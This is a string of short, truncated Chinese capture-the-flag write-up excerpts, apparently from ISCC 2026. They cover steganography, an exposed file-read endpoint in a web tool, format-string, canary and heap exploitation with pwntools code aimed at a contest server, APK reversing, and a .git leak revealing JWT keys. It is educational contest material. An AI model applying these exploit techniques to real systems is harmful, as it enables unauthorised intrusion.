campus_broadcast 题目信息 题目提示: 别只看图,广播更重要;找到顺序,口令自然会出现。 附件: shnu.jpg campus_broadcast.wav 解题过程 先检查图片文件,发现图片末尾存在隐藏压缩包特征: strings shnu.jpg | grep -i rar 可以看到: TheFollowingIsARarFile Rar! 说明 shnu.jpg 后面附加了一个 RAR 文件。 提取 RAR: from pathlib import Path data = Path("shnu.jpg").read_bytes() pos = data.find(b"Rar!")...
题目是一个 “JSON 美化 + 预览” 小工具,首页提交数据到 /api/beautify.php,返回一个临时预览文件名。最先可以用最简单的输入验证功能: {"data":"{\"a\":1}","preview_type":"raw"} 返回类似: { "success": true, "preview_id": "preview_xxxxxxxx", "preview_file": "preview_xxxxxxxx.tmp" } 然后访问: /api/preview.php?file=preview_xxxxxxxx.tmp 可以读到刚才写入的内容,说明这里存在一个“读取临时预览文件”的接口。进一步访问...
附件是一个 32 位 ELF: $ file attachment-9 attachment-9: ELF 32-bit LSB executable, Intel 80386, dynamically linked, not stripped $ checksec --file=attachment-9 Partial RELRO No canary found NX enabled No PIE 1. main 里的格式化字符串 read(0, buf, 0x20); printf(buf); if (target_val == 5) { vuln(); } 这里存在: printf(buf) 格式化字符串漏洞 全局变量...
一个简单的canary绕过 利用格式化字符串把canary拿出来 from pwn import * context(os="linux", arch="i386", log_level="debug") elf = ELF("./attachment-5") io = remote('39.96.193.120',10018) getshell = elf.symbols["getshell"] log.success(f"getshell = {hex(getshell)}") io.recvuntil(b"Hello Hacker!\n") # 第一次输入:泄露 canary io.send(b"%31$p.END\x00")...
ISCC 2026 pwn WP 1. 基本信息 file attachment-35 # ELF 64-bit PIE checksec: # Arch: amd64 # RELRO: Full RELRO # Canary: enabled # NX: enabled # PIE: enabled libc: glibc 2.31 保护全开,不能改 GOT,主要走堆利用。 2. 结构体还原 程序维护一个全局学生数组: student *list[7]; int cnt; int role; // 0 teacher, 1 student 外层结构: struct student { struct info *info; //...
题目信息 目标地址:39.96.193.120:33334 程序保护: Arch: amd64 RELRO: Partial RELRO Stack: Canary found NX: NX enabled PIE: No PIE 漏洞分析 这题一共有三处关键点: customer ID 处存在格式化字符串漏洞 printf("Welcome, "); printf(id_buf); 因此可以直接泄露栈上和内存中的内容。 数量检查只比较了低 8 位 程序读入数量后,实际比较的是 al 是否小于等于 3,所以像 256、512 这类低字节为 0 的值都能绕过限制。 商品名输入处存在栈溢出 char product[0x100];...
SCM APK Writeup 1. p1/p2/p3/p4 在哪里校验 四段输入最终都会进入 PasswordValidator.validateAndDecrypt(context, p1, p2, p3, p4): PasswordValidator.smali 这一个函数就是总校验入口。它的逻辑可以概括成: 先在 Java/Kotlin 层校验 p1 再在 Java/Kotlin 层结合 p1 校验 p2 调 native 校验 p3 调 native 校验 p4 全部通过后,用 p1+p2+p3+p4 拼成 key 去解密 flag.enc 关键调用点分别在: p1 校验主体...
完整 WP 这题按你给的思路,核心链路是: ZIP 伪加密 -> 修标志位 -> 解出 task.mp4 -> 提取 audio.wav -> Echo Hiding 解码 -> Morse -> Atbash -> ISCC{...} 这份新附件最终跑出的结果是: ISCC{GNU6+/W0KKF2(B/} 1. 识别 ZIP 伪加密 附件是 attachment-4 (1).zip。 它不是“真加密”,而是 ZIP 头里的加密标志位被置了。 我检查到: 本地文件头 PK\x03\x04 的加密位是正常的 中央目录头 PK\x01\x02 的加密位被置成了 1 这会导致很多解压工具误以为它需要密码。 修法就是把这两个位置的最低位清...
这题的核心是两段“夜班遗留逻辑”叠起来用: .git 泄露拿源码历史 历史源码里同时泄露了 JWT 调试密钥和内部接口签名密钥 入口点 访问首页后,先看前端脚本: GET /static/main.js 返回: document.addEventListener("DOMContentLoaded", () => { window.__buildTrace = "/.git/HEAD"; }); 这基本就是明示去读 .git。 继续访问: GET /.git/HEAD GET /.git/refs/heads/master 拿到分支头提交哈希,然后递归拉取 Git object,还原仓库历史。 还原出的关键信息 当前版本...
WP APK 先用 apktool d 解包,入口在 com.example.mobile01.MainActivity。点击按钮后逻辑在 MainActivity$1.onClick(): input = etFlagInput.getText().toString().trim(); if (!FlagFormatChecker.checkBasicFormat(input)) { wrong; return; } if (FlagDispatcher.dispatchCheck(input)) { success; } else { wrong; } FlagFormatChecker 只检查格式: ISCC{...} 真正校...